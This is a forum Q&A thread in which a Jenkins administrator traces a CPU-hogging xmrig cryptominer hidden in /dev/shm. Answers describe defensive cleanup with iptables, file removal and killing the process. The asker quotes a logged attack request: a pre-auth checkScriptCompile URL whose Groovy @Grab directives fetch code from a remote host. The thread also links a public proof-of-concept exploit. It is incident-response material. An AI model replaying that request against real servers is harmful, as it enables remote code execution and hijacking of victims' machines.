Jenkins malicious process identification

Question

I have a Jenkins (v2.120) machine hosted on AWS which has what looks like a malicious process:

process has large CPU usage
killing it, respawns it (with same name)
restarting machine spawns it (with different name)
exec is located in /dev/shm (same name as process)
ps aux on process id returns [kworker/2:8] or similar
name is always three letters and 4 numbers (uvl8618, obl1740, etc)
runs as jenkins user (jenkins is under nginx which runs as www-data)

Running lsof command on it returns following:

obl1740    3188         jenkins   10u  IPv4  30574      0t0  TCP xxx.xx.xx.xxx:53080->128.199.142.71:80 (ESTABLISHED)

Tcpdump returned snippets containing 0FGVSN.bot.nu, some blobs, json, keep alive references, but nothing that I could find to help me identify it.

No cronjobs found on system.

Any help in identifying and/or annihilating threat is more than welcome (currently jobs are suffocated by high CPU usage of this process).

======================== EDIT =======================

New information:
Confirmed its a miner

root@xx.xx.xx.xx:/dev/shm# ll 
total 1316 
drwxrwxrwt  2 root     root   80 Feb 26 15:50 ./ drwxr-xr-x 15 root     root        2980 Feb 26 14:05 ../
-rw-------  1 postgres postgres    6928 Feb 26 14:06 PostgreSQL.742357302
-rwx------  1 jenkins  jenkins  1338400 Feb 26 14:13 obl1740*

root@xx.xx.xx.xx:/dev/shm# sudo -u jenkins ./obl1740 -h

Usage: xmrig [OPTIONS] Options:   -a, --algo=ALGO          specify the algorithm to use etc etc etc

We have checked the damn access logs (128... is an IP that miner is targeting):

root@xx.xx.xx.xx:/var/log/nginx# zcat access.log*gz | grep 128.199.142.71

128.199.142.71 - - [24/Feb/2019:16:14:07 +0000] "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='PFJHK',root='http://128.199.142.71/')%0a@Grab(group='LYXQH',module='LYLIW',version='0')%0aimport%20KJNME; HTTP/1.1" 200 10133 "-" "python-requests/2.18.4"

Traced it back to this github:
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

So its a Jenkins exploit!

Tcpdump with miner config:

0x0000:  4500 00e9 221e 4000 4006 3219 ac1f 2aaa  E...".@.@.2...*.
0x0010:  80c7 8e47 d658 0050 1d95 b98b 4ca5 7353  ...G.X.P....L.sS
0x0020:  8018 00d3 e6b3 0000 0101 080a 3433 71ae  ............43q.
0x0030:  b6f9 1fa6 7b22 6964 223a 312c 226a 736f  ....{"id":1,"jso
0x0040:  6e72 7063 223a 2232 2e30 222c 226d 6574  nrpc":"2.0","met
0x0050:  686f 6422 3a22 6c6f 6769 6e22 2c22 7061  hod":"login","pa
0x0060:  7261 6d73 223a 7b22 6c6f 6769 6e22 3a22  rams":{"login":"
0x0070:  524d 3130 564d 4a54 222c 2270 6173 7322  RM10VMJT","pass"
0x0080:  3a22 7822 2c22 6167 656e 7422 3a22 5075  :"x","agent":"Pu
0x0090:  5342 6277 4656 5147 424d 6373 4676 222c  SBbwFVQGBMcsFv",
0x00a0:  2261 6c67 6f22 3a5b 2263 6e22 2c22 636e  "algo":["cn","cn
0x00b0:  2f32 222c 2263 6e2f 3122 2c22 636e 2f30  /2","cn/1","cn/0
0x00c0:  222c 2263 6e2f 7874 6c22 2c22 636e 2f6d  ","cn/xtl","cn/m
0x00d0:  7372 222c 2263 6e2f 7861 6f22 2c22 636e  sr","cn/xao","cn
0x00e0:  2f72 746f 225d 7d7d 0a                   /rto"]}}

Now we only need to figure out how to stop it...

=============================== END OF EDIT =============================

Nemanja Martinovic · Answer

Ok, after determining that it was a miner exploiting Jenkins and inserting itself over and over from remote computer, the procedure to kill it was following:

netstat -talnp

tcp  0  0  xx.xx.xx.xx:55044     128.199.142.71:80 ESTABLISHED 7026/[kworker/2:8]

Then we added iptables rule to ban it (thanks to camp0 for hint):

iptables -I INPUT -s 128.199.142.71/32 -j DROP

Then we removed it from /dev/shm:

rm /dev/shm/obl1740

Then we killed the process running it:

kill -9 <process_id>

And voila, no more process, now we only see:

tcp 0 1 xx.xx.xx.xx:55062   128.199.142.71:80   SYN_SENT  6438/[kworker/2:8]

Mind due: this did not fix the hole in Jenkins, nor it will prevent further attacks, but it gave us some time. One of the possible solutions is whitelisting access to the Jenkins...

And again, we presume that we were victims of following exploit (hopefully it will be patched soon):

https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

camp0 · Answer

According to the information that you post on your message I will follow the next steps:

Drop the traffic of the process with iptables, at IP level, at process level, you have alternatives to do this.
Try to find the binary or script that correspond to the executed process, using lsof, also on you can use the information of /proc/
Check the parent of the process, this will give you information of which process runs the script.

Probably some other users will give you useful tips.

Jenkins malicious process identification

2 Answers

Add your own answers!

Ask a Question